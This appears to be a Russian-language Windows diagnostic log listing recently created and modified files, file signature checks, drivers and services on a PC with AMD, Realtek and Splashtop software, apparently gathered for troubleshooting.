2017-07-10 15:18:49 ----A---- C:\Windows\system32\xactengine2_9.dll
2017-07-10 15:18:49 ----A---- C:\Windows\system32\xactengine2_8.dll
2017-07-10 15:18:49 ----A---- C:\Windows\system32\X3DAudio1_2.dll
2017-07-10 15:18:49 ----A---- C:\Windows\system32\d3dx9_35.dll
2017-07-10 15:18:49 ----A---- C:\Windows\system32\d3dx9_34.dll
2017-07-10 15:18:49 ----A---- C:\Windows\system32\d3dx10_35.dll
2017-07-10 15:18:49 ----A---- C:\Windows\system32\d3dx10_34.dll
2017-07-10 15:18:49 ----A---- C:\Windows\system32\D3DCompiler_35.dll
2017-07-10 15:18:49 ----A---- C:\Windows\system32\D3DCompiler_34.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\xinput1_3.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\xactengine2_7.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\xactengine2_6.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\xactengine2_5.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\d3dx9_33.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\d3dx9_32.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\d3dx10_33.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\d3dx10.dll
2017-07-10 15:18:48 ----A---- C:\Windows\SYSWOW64\D3DCompiler_33.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\xinput1_3.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\xactengine2_7.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\xactengine2_6.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\xactengine2_5.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\d3dx9_33.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\d3dx9_32.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\d3dx10_33.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\d3dx10.dll
2017-07-10 15:18:48 ----A---- C:\Windows\system32\D3DCompiler_33.dll
2017-07-10 15:18:47 ----A---- C:\Windows\SYSWOW64\xinput1_2.dll
2017-07-10 15:18:47 ----A---- C:\Windows\SYSWOW64\xactengine2_4.dll
2017-07-10 15:18:47 ----A---- C:\Windows\SYSWOW64\xactengine2_3.dll
2017-07-10 15:18:47 ----A---- C:\Windows\SYSWOW64\x3daudio1_1.dll
2017-07-10 15:18:47 ----A---- C:\Windows\SYSWOW64\d3dx9_31.dll
2017-07-10 15:18:47 ----A---- C:\Windows\system32\xinput1_2.dll
2017-07-10 15:18:47 ----A---- C:\Windows\system32\xactengine2_4.dll
2017-07-10 15:18:47 ----A---- C:\Windows\system32\xactengine2_3.dll
2017-07-10 15:18:47 ----A---- C:\Windows\system32\x3daudio1_1.dll
2017-07-10 15:18:47 ----A---- C:\Windows\system32\d3dx9_31.dll
2017-07-10 15:18:46 ----A---- C:\Windows\SYSWOW64\xinput1_1.dll
2017-07-10 15:18:46 ----A---- C:\Windows\SYSWOW64\xactengine2_2.dll
2017-07-10 15:18:46 ----A---- C:\Windows\SYSWOW64\xactengine2_1.dll
2017-07-10 15:18:46 ----A---- C:\Windows\system32\xinput1_1.dll
2017-07-10 15:18:46 ----A---- C:\Windows\system32\xactengine2_2.dll
2017-07-10 15:18:46 ----A---- C:\Windows\system32\xactengine2_1.dll
2017-07-10 15:18:45 ----A---- C:\Windows\SYSWOW64\d3dx9_30.dll
2017-07-10 15:18:45 ----A---- C:\Windows\system32\d3dx9_30.dll
2017-07-10 15:18:44 ----A---- C:\Windows\SYSWOW64\xactengine2_0.dll
2017-07-10 15:18:44 ----A---- C:\Windows\SYSWOW64\x3daudio1_0.dll
2017-07-10 15:18:44 ----A---- C:\Windows\SYSWOW64\d3dx9_29.dll
2017-07-10 15:18:44 ----A---- C:\Windows\SYSWOW64\d3dx9_28.dll
2017-07-10 15:18:44 ----A---- C:\Windows\SYSWOW64\d3dx9_27.dll
2017-07-10 15:18:44 ----A---- C:\Windows\SYSWOW64\d3dx9_26.dll
2017-07-10 15:18:44 ----A---- C:\Windows\SYSWOW64\d3dx9_25.dll
2017-07-10 15:18:44 ----A---- C:\Windows\system32\xactengine2_0.dll
2017-07-10 15:18:44 ----A---- C:\Windows\system32\x3daudio1_0.dll
2017-07-10 15:18:44 ----A---- C:\Windows\system32\d3dx9_29.dll
2017-07-10 15:18:44 ----A---- C:\Windows\system32\d3dx9_28.dll
2017-07-10 15:18:44 ----A---- C:\Windows\system32\d3dx9_27.dll
2017-07-10 15:18:44 ----A---- C:\Windows\system32\d3dx9_26.dll
2017-07-10 15:18:44 ----A---- C:\Windows\system32\d3dx9_25.dll
2017-07-10 15:18:43 ----A---- C:\Windows\SYSWOW64\d3dx9_24.dll
2017-07-10 15:18:43 ----A---- C:\Windows\system32\d3dx9_24.dll
2017-07-09 21:10:12 ----A---- C:\Windows\SYSWOW64\drivers\PortTalk.sys
2017-07-09 21:01:47 ----D---- C:\Windows\Prefetch
2017-07-09 21:01:16 ----SHD---- C:\System Volume Information
2017-07-09 21:01:16 ----ASH---- C:\pagefile.sys
2017-07-09 21:00:51 ----D---- C:\Windows\Panther
2017-07-09 21:00:16 ----RA---- C:\Windows\RunOnce.cmd
2017-07-09 21:00:16 ----RA---- C:\Windows\Reg_import.exe
2017-07-09 17:26:37 ----D---- C:\Users\Администратор\AppData\Roaming\Google
2017-07-09 17:25:37 ----D---- C:\Program Files (x86)\Google
2017-07-09 17:25:04 ----D---- C:\Program Files\Common Files\ATI Technologies
2017-07-09 17:24:46 ----D---- C:\Program Files (x86)\VulkanRT
2017-07-09 17:24:46 ----A---- C:\Windows\SYSWOW64\vulkaninfo.exe
2017-07-09 17:24:46 ----A---- C:\Windows\SYSWOW64\vulkan-1.dll
2017-07-09 17:24:46 ----A---- C:\Windows\system32\vulkaninfo.exe
2017-07-09 17:24:46 ----A---- C:\Windows\system32\vulkan-1.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\ucrtbase.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-eventing-provider-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-utility-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-time-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-string-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-stdio-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-runtime-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-process-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-private-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-multibyte-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-math-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-locale-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-heap-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-filesystem-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-environment-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-convert-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-crt-conio-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-core-xstate-l2-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-core-timezone-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-core-synch-l1-2-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-core-processthreads-l1-1-1.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-core-localization-l1-2-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-core-file-l2-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\SYSWOW64\api-ms-win-core-file-l1-2-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\ucrtbase.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-eventing-provider-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-utility-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-time-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-string-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-stdio-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-process-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-private-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-multibyte-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-math-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-locale-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-heap-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-filesystem-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-environment-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-convert-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-crt-conio-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-core-xstate-l2-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-core-timezone-l1-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-core-synch-l1-2-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-core-localization-l1-2-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-core-file-l2-1-0.dll
2017-07-09 17:24:18 ----A---- C:\Windows\system32\api-ms-win-core-file-l1-2-0.dll
2017-07-09 17:24:05 ----D---- C:\ProgramData\Package Cache
2017-07-09 17:22:53 ----A---- C:\Windows\SYSWOW64\PerfStringBackup.INI
2017-07-09 17:22:27 ----D---- C:\Program Files (x86)\Microsoft.NET
2017-07-09 17:20:31 ----D---- C:\AMD
2017-07-09 17:18:18 ----D---- C:\ProgramData\Splashtop
2017-07-09 17:17:10 ----A---- C:\Windows\SYSWOW64\drivers\IntelMEFWVer.dll
2017-07-09 17:17:10 ----A---- C:\Windows\system32\drivers\IntelMEFWVer.dll
2017-07-09 17:17:08 ----A---- C:\Windows\SYSWOW64\log.txt
2017-07-09 17:17:04 ----D---- C:\Program Files\GIGABYTE
2017-07-09 17:17:04 ----D---- C:\Program Files (x86)\GIGABYTE
2017-07-09 17:17:04 ----A---- C:\Windows\system32\drivers\AppleCharger.sys
2017-07-09 17:17:04 ----A---- C:\Windows\system32\AppleChargerSrv.exe
2017-07-09 17:16:59 ----A---- C:\Windows\system32\drivers\HECIx64.sys
2017-07-09 17:16:56 ----D---- C:\Users\Администратор\AppData\Roaming\InstallShield
2017-07-09 17:16:48 ----D---- C:\Program Files (x86)\Etron Technology
2017-07-09 17:15:24 ----D---- C:\Windows\SYSWOW64\RTCOM
2017-07-09 17:15:24 ----D---- C:\Program Files\Realtek
2017-07-09 17:15:18 ----A---- C:\Windows\system32\drivers\Rt64win7.sys
2017-07-09 17:15:15 ----A---- C:\Windows\system32\RTNUninst64.dll
2017-07-09 17:15:15 ----A---- C:\Windows\system32\RtNicProp64.dll
2017-07-09 17:15:08 ----A---- C:\Windows\system32\WavesGUILib.dll
2017-07-09 17:15:07 ----A---- C:\Windows\system32\SRSWOW64.dll
2017-07-09 17:15:07 ----A---- C:\Windows\system32\SRSTSX64.dll
2017-07-09 17:15:07 ----A---- C:\Windows\system32\SRSTSH64.dll
2017-07-09 17:15:07 ----A---- C:\Windows\system32\SRSHP64.dll
2017-07-09 17:15:06 ----A---- C:\Windows\system32\RtlCPAPI64.dll
2017-07-09 17:15:03 ----A---- C:\Windows\system32\RtkCoLDR64.dll
2017-07-09 17:15:03 ----A---- C:\Windows\system32\RtkCfg64.dll
2017-07-09 17:15:02 ----A---- C:\Windows\system32\RtkApi64.dll
2017-07-09 17:15:01 ----A---- C:\Windows\system32\RtPgEx64.dll
2017-07-09 17:15:01 ----A---- C:\Windows\system32\RtkAPO64.dll
2017-07-09 17:15:00 ----A---- C:\Windows\system32\RTCOM64.dll
2017-07-09 17:14:59 ----A---- C:\Windows\system32\RTEEP64A.dll
2017-07-09 17:14:59 ----A---- C:\Windows\system32\drivers\RTKVHD64.sys
2017-07-09 17:14:58 ----A---- C:\Windows\system32\RTEEL64A.dll
2017-07-09 17:14:58 ----A---- C:\Windows\system32\RTEEG64A.dll
2017-07-09 17:14:56 ----A---- C:\Windows\system32\RTEED64A.dll
2017-07-09 17:14:55 ----A---- C:\Windows\system32\RP3DHT64.dll
2017-07-09 17:14:55 ----A---- C:\Windows\system32\RP3DAA64.dll
2017-07-09 17:14:55 ----A---- C:\Windows\system32\RCoInstII64.dll
2017-07-09 17:14:55 ----A---- C:\Windows\system32\drivers\RTAIODAT.DAT
2017-07-09 17:14:48 ----A---- C:\Windows\system32\MBWrp64.dll
2017-07-09 17:14:48 ----A---- C:\Windows\system32\MBppld64.dll
2017-07-09 17:14:48 ----A---- C:\Windows\system32\MBPPCn64.dll
2017-07-09 17:14:48 ----A---- C:\Windows\system32\MaxxAudioEQ.dll
2017-07-09 17:14:48 ----A---- C:\Windows\system32\MaxxAudioAPO20.dll
2017-07-09 17:14:47 ----A---- C:\Windows\SYSWOW64\MBAPO32.dll
2017-07-09 17:14:47 ----A---- C:\Windows\system32\MBAPO64.dll
2017-07-09 17:14:36 ----A---- C:\Windows\system32\FMAPO64.dll
2017-07-09 17:14:32 ----A---- C:\Windows\system32\AERTAR64.dll
2017-07-09 17:14:32 ----A---- C:\Windows\system32\AERTAC64.dll
2017-07-09 17:14:31 ----D---- C:\Program Files (x86)\Realtek
2017-07-09 17:14:29 ----HD---- C:\Program Files (x86)\Temp
2017-07-09 17:14:29 ----HD---- C:\Program Files (x86)\InstallShield Installation Information
2017-07-09 17:14:27 ----R---- C:\Windows\RtlExUpd.dll
2017-07-09 17:13:55 ----RA---- C:\Windows\SYSWOW64\CSVer.dll
2017-07-09 17:13:55 ----D---- C:\Program Files (x86)\Intel
2017-07-09 17:13:50 ----D---- C:\Intel
2017-07-09 17:13:32 ----A---- C:\ProgramData\NTUser.dat
2017-07-09 17:13:24 ----HD---- C:\ProgramData\{8533ADFA-85F0-4dc1-946A-2A0BA58E78E3}
2017-07-09 17:13:23 ----D---- C:\Users\Администратор\AppData\Roaming\Splashtop
2017-07-09 17:13:17 ----D---- C:\Program Files (x86)\Splashtop
2017-07-09 17:13:08 ----SHD---- C:\Windows\Installer
2017-07-09 17:12:03 ----A---- C:\Windows\GSetup.ini
2017-07-09 17:09:52 ----D---- C:\Users\Администратор\AppData\Roaming\Adobe
2017-07-09 17:09:45 ----D---- C:\Users\Администратор\AppData\Roaming\Identities
2017-07-09 17:08:47 ----SD---- C:\Users\Администратор\AppData\Roaming\Microsoft
2017-07-09 17:08:47 ----D---- C:\Users\Администратор\AppData\Roaming\Media Center Programs
2017-07-09 17:08:37 ----SHD---- C:\Recovery
2017-07-09 17:08:37 ----SHD---- C:\ProgramData\Шаблоны
2017-07-09 17:08:37 ----SHD---- C:\ProgramData\Рабочий стол
2017-07-09 17:08:37 ----SHD---- C:\ProgramData\Избранное
2017-07-09 17:08:37 ----SHD---- C:\ProgramData\Документы
2017-07-09 17:08:37 ----SHD---- C:\ProgramData\Главное меню
2017-07-09 17:08:35 ----D---- C:\Windows\SoftwareDistribution
2017-07-07 04:42:38 ----A---- C:\Windows\system32\drivers\AtihdW76.sys
2017-07-07 04:41:38 ----A---- C:\Windows\system32\DelayAPO.dll
2017-07-06 01:59:18 ----A---- C:\Windows\system32\amde40a.dat
2017-07-05 13:23:20 ----A---- C:\Windows\system32\amdicdxx.dat
2017-07-05 05:38:26 ----A---- C:\Windows\system32\SET9CE9.tmp
2017-07-05 05:38:26 ----A---- C:\Windows\system32\atiuxp64.dll
2017-07-05 05:37:48 ----A---- C:\Windows\system32\SET79DD.tmp
2017-07-05 05:37:48 ----A---- C:\Windows\system32\atidxx64.dll
2017-07-05 05:37:40 ----A---- C:\Windows\system32\SET9D4B.tmp
2017-07-05 05:37:40 ----A---- C:\Windows\system32\aticfx64.dll
2017-07-01 05:20:56 ----A---- C:\Windows\system32\amde34b.dat
2017-07-01 05:20:42 ----A---- C:\Windows\system32\amde34a.dat
2017-06-30 01:46:50 ----A---- C:\Windows\system32\ativvaxy_gl_nd.dat
2017-06-29 21:33:56 ----A---- C:\Windows\system32\ativvaxy_el_nd.dat
2017-06-29 00:31:52 ----A---- C:\Windows\system32\ativvaxy_rv.dat

====== Список файлов и папок, измененных за последние 3 месяца ======

2017-09-25 13:45:44 ----D---- C:\Windows\Temp
2017-09-25 13:24:35 ----D---- C:\Windows\system32\config
2017-09-25 12:40:01 ----D---- C:\Windows\System32
2017-09-25 12:40:01 ----D---- C:\Windows\Help
2017-09-24 21:18:17 ----D---- C:\Windows\debug
2017-09-24 17:43:47 ----D---- C:\Windows\system32\drivers
2017-09-23 11:17:32 ----D---- C:\Windows\system32\wdi
2017-09-16 16:05:00 ----RD---- C:\Program Files (x86)
2017-09-13 21:15:45 ----D---- C:\Windows\system32\catroot2
2017-09-13 21:15:45 ----D---- C:\Windows\system32\catroot
2017-09-13 21:15:36 ----D---- C:\Windows\SysWOW64
2017-09-04 23:40:15 ----D---- C:\Windows\system32\LogFiles
2017-09-04 23:32:15 ----HD---- C:\ProgramData
2017-09-02 21:51:30 ----SD---- C:\ProgramData\Microsoft
2017-08-31 14:26:35 ----D---- C:\Windows\inf
2017-08-31 14:26:35 ----A---- C:\Windows\system32\PerfStringBackup.INI
2017-08-21 15:09:09 ----D---- C:\Windows
2017-08-20 21:34:41 ----D---- C:\Windows\system32\DriverStore
2017-08-20 21:30:03 ----RD---- C:\Program Files
2017-08-18 19:19:43 ----D---- C:\Windows\winsxs
2017-08-01 03:03:40 ----D---- C:\Windows\system32\Tasks
2017-08-01 02:44:06 ----D---- C:\Windows\LiveKernelReports
2017-07-21 20:56:09 ----D---- C:\Windows\Tasks
2017-07-21 06:40:28 ----A---- C:\Windows\SYSWOW64\atiuxpag.dll
2017-07-21 06:40:24 ----A---- C:\Windows\SYSWOW64\atiumdag.dll
2017-07-21 06:40:14 ----A---- C:\Windows\SYSWOW64\atiu9pag.dll
2017-07-21 06:39:54 ----A---- C:\Windows\SYSWOW64\GameManager32.dll
2017-07-21 06:39:48 ----A---- C:\Windows\SYSWOW64\detoured.dll
2017-07-21 06:39:36 ----A---- C:\Windows\SYSWOW64\atiumdva.dll
2017-07-21 06:39:34 ----A---- C:\Windows\system32\atig6txx.dll
2017-07-21 06:39:32 ----A---- C:\Windows\system32\atig6pxx.dll
2017-07-21 06:39:24 ----A---- C:\Windows\SYSWOW64\atidxx32.dll
2017-07-21 06:39:18 ----A---- C:\Windows\SYSWOW64\aticfx32.dll
2017-07-21 06:38:50 ----A---- C:\Windows\system32\atiadlxx.dll
2017-07-21 06:37:04 ----A---- C:\Windows\system32\atio6axx.dll
2017-07-16 15:11:49 ----RD---- C:\Users
2017-07-16 15:11:42 ----D---- C:\Program Files (x86)\Common Files
2017-07-15 20:58:06 ----D---- C:\Windows\Logs
2017-07-14 15:20:10 ----D---- C:\Program Files\Common Files\Microsoft Shared
2017-07-13 17:28:42 ----D---- C:\Windows\system32\drivers\UMDF
2017-07-10 19:47:21 ----A---- C:\Windows\SYSWOW64\user32.dll
2017-07-10 19:47:21 ----A---- C:\Windows\SYSWOW64\slwga.dll
2017-07-10 19:47:21 ----A---- C:\Windows\system32\user32.dll
2017-07-10 19:47:21 ----A---- C:\Windows\system32\systemcpl.dll
2017-07-10 19:47:21 ----A---- C:\Windows\system32\slwga.dll
2017-07-10 15:18:46 ----RSD---- C:\Windows\assembly
2017-07-10 15:18:46 ----D---- C:\Windows\Microsoft.NET
2017-07-09 21:10:12 ----D---- C:\Windows\SYSWOW64\drivers
2017-07-09 21:06:56 ----D---- C:\Windows\rescache
2017-07-09 21:04:35 ----D---- C:\Windows\system32\sysprep
2017-07-09 21:01:45 ----D---- C:\Windows\CSC
2017-07-09 21:00:16 ----D---- C:\Windows\Setup
2017-07-09 17:25:04 ----D---- C:\Program Files\Common Files
2017-07-09 17:22:27 ----D---- C:\Windows\SYSWOW64\en-US
2017-07-09 17:22:27 ----D---- C:\Windows\system32\en-US
2017-07-09 17:19:22 ----D---- C:\Windows\system32\CodeIntegrity
2017-07-09 17:14:46 ----D---- C:\Windows\system32\restore
2017-07-09 17:11:21 ----D---- C:\Windows\system32\NDF
2017-07-09 17:09:42 ----SHD---- C:\$Recycle.Bin
2017-07-09 17:08:37 ----D---- C:\Program Files\Windows NT
2017-07-05 05:38:26 ----A---- C:\Windows\SYSWOW64\SETA8EE.tmp
2017-07-05 05:38:22 ----A---- C:\Windows\SYSWOW64\SET7B46.tmp
2017-07-05 05:38:16 ----A---- C:\Windows\SYSWOW64\SETA8DD.tmp
2017-07-05 05:37:58 ----A---- C:\Windows\SYSWOW64\SET9126.tmp
2017-07-05 05:37:54 ----A---- C:\Windows\SYSWOW64\SET8CE7.tmp
2017-07-05 05:37:44 ----A---- C:\Windows\SYSWOW64\SET87DF.tmp
2017-07-05 05:37:40 ----A---- C:\Windows\system32\SET9CFA.tmp
2017-07-05 05:37:38 ----A---- C:\Windows\SYSWOW64\SET9D7C.tmp
2017-07-05 05:37:38 ----A---- C:\Windows\system32\SETA8BC.tmp
2017-07-05 05:37:00 ----A---- C:\Windows\SYSWOW64\SET7EE1.tmp
2017-07-05 05:36:38 ----A---- C:\Windows\system32\coinst_17.10.dll
2017-07-05 05:35:22 ----A---- C:\Windows\system32\SET7083.tmp

File C:\Windows\system32\winlogon.exe is digitally signed
File C:\Windows\system32\wininit.exe is digitally signed
File C:\Windows\explorer.exe is digitally signed
File C:\Windows\SysWOW64\explorer.exe is digitally signed
File C:\Windows\system32\svchost.exe is digitally signed
File C:\Windows\SysWOW64\svchost.exe is digitally signed
File C:\Windows\system32\services.exe is digitally signed
File C:\Windows\system32\User32.dll is not digitally signed
File C:\Windows\SysWOW64\User32.dll is not digitally signed
File C:\Windows\system32\userinit.exe is digitally signed
File C:\Windows\SysWOW64\userinit.exe is digitally signed
File C:\Windows\system32\rpcss.dll is digitally signed
File C:\Windows\system32\Drivers\volsnap.sys is digitally signed

====== Список драйверов (тип запуска: R=Запущен, S=остановлен, 0=Загрузочный, 1=Системный, 2=Автоматически, 3=Вручную, 4=Отключено) ======

R0 pciide;pciide; C:\Windows\system32\drivers\pciide.sys [2009-07-14 12352]
R0 rdyboost;ReadyBoost; C:\Windows\System32\drivers\rdyboost.sys [2010-11-21 213888]
R1 AppleCharger;AppleCharger; C:\Windows\system32\DRIVERS\AppleCharger.sys [2011-11-02 21616]
R1 CSC;@%systemroot%\system32\cscsvc.dll,-202; C:\Windows\system32\drivers\csc.sys [2010-11-21 514560]
R3 amdkmdag;amdkmdag; C:\Windows\system32\DRIVERS\atikmdag.sys [2017-07-21 38422408]
R3 amdkmdap;amdkmdap; C:\Windows\system32\DRIVERS\atikmpag.sys [2017-07-21 532360]
R3 AtiHDAudioService;AMD Function Driver for HD Audio Service; C:\Windows\system32\drivers\AtihdW76.sys [2017-07-07 96256]
R3 EtronHub3;Etron USB 3.0 Extensible Hub Driver; C:\Windows\System32\Drivers\EtronHub3.sys [2011-08-17 57088]
R3 EtronXHCI;Etron USB 3.0 Extensible Host Controller Driver; C:\Windows\System32\Drivers\EtronXHCI.sys [2011-08-17 80384]
R3 IntcAzAudAddService;Service for Realtek HD Audio (WDM); C:\Windows\system32\drivers\RTKVHD64.sys [2011-11-22 2955496]
R3 MEIx64;Intel(R) Management Engine Interface; C:\Windows\system32\DRIVERS\HECIx64.sys [2010-09-21 56344]
R3 RTL8167;Realtek 8167 NT Driver; C:\Windows\system32\DRIVERS\Rt64win7.sys [2011-08-23 565352]
R3 ScpVBus;Scp Virtual Bus Driver; C:\Windows\system32\DRIVERS\ScpVBus.sys [2013-05-19 39168]
R3 WinUsb;USB DS3 Driver; C:\Windows\system32\DRIVERS\WinUsb.sys [2010-11-21 41984]
R3 xusb21;Xbox 360 Wireless Receiver Driver Service 21; C:\Windows\system32\DRIVERS\xusb21.sys [2009-08-13 73984]
S3 BstkDrv;BlueStacks Plus Hypervisor; \??\C:\Program Files (x86)\BlueStacks\BstkDrv.sys [2017-06-21 270904]
S3 dmvsc;dmvsc; C:\Windows\system32\drivers\dmvsc.sys [2010-11-21 71168]
S3 ew_usbccgpfilter;HwHandSet_CompositeFilter; C:\Windows\system32\DRIVERS\ew_usbccgpfilter.sys [2017-04-11 18944]
S3 gdrv;gdrv; \??\C:\Windows\gdrv.sys []
S3 PortTalk;PortTalk; C:\Windows\System32\Drivers\PortTalk.sys []
S3 RDPDR;Terminal Server Device Redirector Driver; C:\Windows\System32\drivers\rdpdr.sys [2010-11-21 165888]
S3 RdpVideoMiniport;Remote Desktop Video Miniport Driver; C:\Windows\System32\drivers\rdpvideominiport.sys [2015-03-14 19456]
S3 s3cap;s3cap; C:\Windows\system32\drivers\vms3cap.sys [2010-11-21 6656]
S3 storvsc;storvsc; C:\Windows\system32\drivers\storvsc.sys [2010-11-21 34688]
S3 terminpt;Microsoft Remote Desktop Input Driver; C:\Windows\system32\drivers\terminpt.sys [2015-03-14 29696]
S3 TsUsbFlt;TsUsbFlt; C:\Windows\system32\drivers\tsusbflt.sys [2015-03-14 56832]
S3 TsUsbGD;Remote Desktop Generic USB Device; C:\Windows\system32\drivers\TsUsbGD.sys [2015-03-14 29696]
S3 vmbus;vmbus; C:\Windows\system32\drivers\vmbus.sys [2010-11-21 199552]
S3 VMBusHID;VMBusHID; C:\Windows\system32\drivers\VMBusHID.sys [2010-11-21 21760]

====== Список служб (тип запуска: R=Запущена, S=остановлена, 0=Загрузочная, 1=Системная, 2=Автоматически, 3=Вручную, 4=Отключено) ======

R2 AMD External Events Utility;AMD External Events Utility; C:\Windows\system32\atiesrxx.exe [2017-07-21 543112]
R2 CscService;@%systemroot%\system32\cscsvc.dll,-200; C:\Windows\System32\s [2017-09-25 60]
R2 Ds3Service;SCP DS3 Service; C:\Users\Администратор\Desktop\ScpServer\bin\ScpService.exe [2014-03-13 381952]
R2 HuaweiHiSuiteService64.exe;HuaweiHiSuiteService64.exe; C:\Program Files (x86)\HiSuite\HandSetService\HuaweiHiSuiteService64.exe [2017-04-11 192200]
R2 LMS;Intel(R) Management and Security Application Local Management Service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe [2010-10-05 325656]
R2 SCBackService;Splashtop Connect Service; C:\Program Files (x86)\Splashtop\Splashtop Connect\BackService.exe [2010-11-15 477000]
R2 UNS;Intel(R) Management and Security Application User Notification Service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\UNS\UNS.exe [2010-10-05 2655768]
R2 WCUService_STC_FF;Splashtop Connect Firefox Software Updater Service; C:\Program Files (x86)\Splashtop\Splashtop Connect Firefox Software Updater\WCUService.exe [2010-11-30 493384]
R2 WCUService_STC_IE;Splashtop Connect IE Software Updater Service; C:\Program Files (x86)\Splashtop\Splashtop Connect IE Software Updater\WCUService.exe [2010-11-04 493384]
S2 clr_optimization_v4.0.30319_32;Microsoft .NET Framework NGEN v4.0.30319_X86; C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe [2012-07-09 104912]
S2 clr_optimization_v4.0.30319_64;Microsoft .NET Framework NGEN v4.0.30319_X64; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe [2012-07-08 123856]
S2 gupdate;Служба Google Update (gupdate); C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-07-09 153168]
S2 SkypeUpdate;Skype Updater; C:\Program Files (x86)\Skype\Updater\Updater.exe [2017-06-01 317400]
S3 AppleChargerSrv;AppleChargerSrv; C:\Windows\system32\AppleChargerSrv.exe [2010-04-06 31272]
S3 AppMgmt;@appmgmts.dll,-3250; C:\Windows\system32\s [2017-09-25 60]
S3 BEService;BattlEye Service; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [2017-09-14 1533448]
S3 BstHdLogRotatorSvc;BlueStacks Log Rotator Service; C:\Program Files (x86)\BlueStacks\HD-LogRotatorService.exe [2017-08-30 369720]
